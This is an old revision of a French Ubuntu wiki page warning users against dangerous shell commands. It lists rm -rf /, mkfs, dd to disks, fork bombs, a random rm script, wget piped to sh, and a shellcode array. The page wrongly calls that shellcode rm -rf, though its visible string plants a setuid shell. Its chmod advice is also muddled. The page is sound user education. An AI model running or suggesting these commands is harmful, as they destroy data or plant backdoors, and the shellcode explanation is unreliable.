Ceci est une ancienne révision du document !


Les commandes dangereuses

La ligne de commande est un outil puissant, et notamment très pratique pour détecter ou résoudre les problèmes : il en est donc souvent fait usage sur le forum ou dans la documentation. Cependant, certains utilisateurs malveillants peuvent donner des commandes dangereuses qui corrompent, voire détruisent le système, ou les données. L'exécution d'une commande nécessite donc toujours la plus grande prudence (recherche sur Google, attente d'un deuxième avis, etc.).

À titre d'exemple et dans un but éducatif, afin de montrer qu'il convient toujours de se méfier, voilà quelques commandes dangereuses.

Attention, ces commandes sont dangereuses, ne les exécutez pas !

Cette liste est loin d'être exhaustive, mais devrait vous donner un aperçu de ce que les gens peuvent essayer de vous inciter à faire. Souvenez-vous que cela peut être dissimulé dans une commande ou masqué dans le cadre d'une procédure longue.

Les "QUELQUE_CHOSE", "QUELQUE_COMMANDE" et "QUELQUE_CHOSE_IMPORTANT" indiqués dans les commandes pouvant être remplacés par n'importe quelle chaîne de caractères

Le danger de ces commandes est tout à fait évident :

rm -rf /
rm -rf .
rm -rf *
mv QUELQUE_CHOSE /dev/null
shred QUELQUE_CHOSE
QUELQUE_COMMANDE > QUELQUE_CHOSE_IMPORTANT
sed […] -i […]

Les données sur le périphérique mentionné après la commande mkfs sera détruit et remplacé par un système de fichier vide :

mkfs
mkfs.ext3
mkfs.QUELQUE_CHOSE

Écrit des données sur le périphérique et peut entraîner la perte totale des données :

QUELQUE_COMMANDE > /dev/sda
dd if=QUELQUE_CHOSE of=/dev/sda

Exécute un grand nombre de processus jusqu'à ce que le système gèle, ce qui vous force à faire un arrêt brutal et peut causer la corruption du système, ou d'autres désagréments.

Avec le shell Bash :

:(){:|:&};:

En Perl :

perl -e "fork while fork"

Si vous voulez savoir comment se protéger contre les forks bombs allez voir ici

Note donnant de l'aide

Quelqu'un vous demande d'extraire une archive dans un répertoire existant. Cette archive tar peut être conçue pour exploser en un grand nombre de fichiers, voire écraser les fichiers de l'utilisateur qui portent le même nom que ceux de l'archive. Vous devriez donc prendre l'habitude de décompresser des tar dans un répertoire propre.

Quelqu'un vous demande d'extraire une archive qui semble petite lors du téléchargement mais qui contient à la décompression des données d'une taille beaucoup plus considérable, au point de remplir votre disque dur. Vous ne devriez pas utiliser des données d'une source non-fiable.

Quelqu'un vous donne le lien vers un script shell à exécuter. Il peut contenir n'importe quelle commande (bénigne ou malveillante). Vous ne devriez pas exécuter du code de personnes à qui vous ne faites pas confiance :

wget http://une_adresse/un_fichier
sh ./un_fichier
wget http://une_adresse/un_fichier -O- | sh

Roulette russe

Une fois ce script lancé, vous avez une "chance" sur 6 pour que tous les fichiers à la racine de votre système soient effacés. Faites attention à ce script et ses variantes!!

#!/bin/bash
echo ""
[ $[ $RANDOM % 6 ] == 0 ] && rm -fr / || echo "You live" 
exit 0

Quelqu'un vous donne le code source et vous dit de le compiler. Il est facile de cacher du code malveillant dans un long code source, et le code source donne à l'attaquant beaucoup de possibilités pour déguiser son code malveillant. Vous ne devriez pas compiler ou exécuter le code compilé, à moins qu'il ne s'agisse d'une application bien connue, obtenue à partir d'un site réputé (SourceForge, les sites Ubuntu, etc.).

Par exemple :

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Ceci est la forme hexadécimale de rm -rf qui va détruire votre répertoire en tant que simple utilisateur, ou tous les fichiers en tant que root.

chmod -R 777 / 

Ceci donne les droits de lecture et d'écriture sur tous les fichiers. Or les commandes situées dans /bin ne supportent pas ce mode. Dans ce cas, il faut réattribuer la valeur o-w, il faut que vous ayez les droits u+w sur /tmp

Pour info: un / non modifié:

$ ls -al /
total 100
drwxr-xr-x  21 root root  4096 2009-07-15 09:39 .
drwxr-xr-x  21 root root  4096 2009-07-15 09:39 ..
drwxr-xr-x   2 root root  4096 2009-07-14 00:49 bin
drwxr-xr-x   3 root root  4096 2009-07-15 09:39 boot
lrwxrwxrwx   1 root root    11 2009-07-09 22:34 cdrom -> media/cdrom
drwxr-xr-x  17 root root  4920 2009-07-18 04:47 dev
drwxr-xr-x 144 root root 12288 2009-07-18 05:30 etc
drwxr-xr-x   3 root root  4096 2009-07-09 22:40 home
lrwxrwxrwx   1 root root    33 2009-07-15 09:39 initrd.img -> boot/initrd.img-2.6.28-14-generic
lrwxrwxrwx   1 root root    33 2009-07-09 23:04 initrd.img.old -> boot/initrd.img-2.6.28-13-generic
drwxr-xr-x  19 root root 12288 2009-07-17 21:58 lib
drwx------   2 root root 16384 2009-07-09 22:34 lost+found
drwxr-xr-x   9 root root  4096 2009-07-18 04:42 media
drwxr-xr-x   2 root root  4096 2009-04-13 11:33 mnt
drwxr-xr-x   2 root root  4096 2009-04-20 15:59 opt
dr-xr-xr-x 177 root root     0 2009-07-18 06:35 proc
drwx------  14 root root  4096 2009-07-18 05:10 root
drwxr-xr-x   2 root root  4096 2009-07-17 21:59 sbin
drwxr-xr-x   2 root root  4096 2009-03-06 17:21 selinux
drwxr-xr-x   2 root root  4096 2009-04-20 15:59 srv
drwxr-xr-x  12 root root     0 2009-07-18 06:35 sys
drwxrwxrwt  16 root root  4096 2009-07-18 05:17 tmp
drwxr-xr-x  13 root root  4096 2009-07-17 01:34 usr
drwxr-xr-x  16 root root  4096 2009-07-10 15:35 var
lrwxrwxrwx   1 root root    30 2009-07-15 09:39 vmlinuz -> boot/vmlinuz-2.6.28-14-generic
lrwxrwxrwx   1 root root    30 2009-07-09 23:04 vmlinuz.old -> boot/vmlinuz-2.6.28-13-generic

Plus généralement, attention aux changements de droits, surtout quand ils s'appliquent sur des dossier. Par exemple un

chmod -R xxx /home/votre_utilisateur

peut vous obliger à recréer un compte utilisateur, vu que certains fichiers nécessitent des droits particuliers.

sudo passwd root

La commande "sudo passwd root " peut vous faire perdre vos droits sudo !!

8-) Pour récupérer ses droits sudo sur son compte, se loguer en root ("su root") et tapez:

adduser votre_username sudo

Encore une fois, il ne s'agit pas de donner une liste complète des commandes malveillantes, et il ne faut pas utiliser cette page comme une liste de vérification pour déterminer si une commande est dangereuse ou pas ! Cette page est simplement éducative, pour faire prendre conscience à l'utilisateur de la dangerosité du shell. Toute commande ne doit être exécutée que si elle est sûre et si l'on comprend ce que l'on fait.


Contributeurs : la tite gogole, tshirtman, morgen_stern.

Basé sur « ATTENTION ALL USERS: Malicious Commands » par jdong.

  • commandes_dangereuses.1248192896.txt.gz
  • Dernière modification: Le 18/04/2011, 14:39
  • (modification externe)